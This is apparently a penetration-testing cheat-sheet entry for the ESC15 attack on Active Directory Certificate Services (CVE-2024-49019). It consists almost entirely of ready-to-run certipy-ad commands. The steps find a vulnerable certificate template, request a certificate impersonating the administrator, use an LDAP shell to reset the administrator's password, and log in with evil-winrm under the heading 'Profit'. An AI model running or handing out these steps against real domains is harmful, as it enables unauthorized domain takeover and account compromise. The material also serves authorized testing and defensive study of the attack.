Technique

ESC15

 

CVE-2024-49019

ESC15 works only on unpatched CAs

1.0 certipy-ad

1.1 Find Vulnerabilities

certipy-ad find -k -no-pass -vulnerable -stdout -dc-ip $ip -target $dns'.'$domain

1.2 Request Certificate

certipy-ad req -k -no-pass  \
    -dc-ip $ip -target $dns'.'$domain \
    -ca 'CA-NAME' -template 'Template' \
    -upn 'administrator@'$domain  \
    -application-policies 'Client Authentication' \
    -dc-host dc01

1.3 Authenticate and use ldap shell

certipy-ad auth -pfx administrator.pfx -domain $domain -dc-ip $ip -ldap-shell
 
ldap> change_password administrator adm!123

1.4 Profit

evil-winrm -i $ip -u administrator -p 'adm!123'

References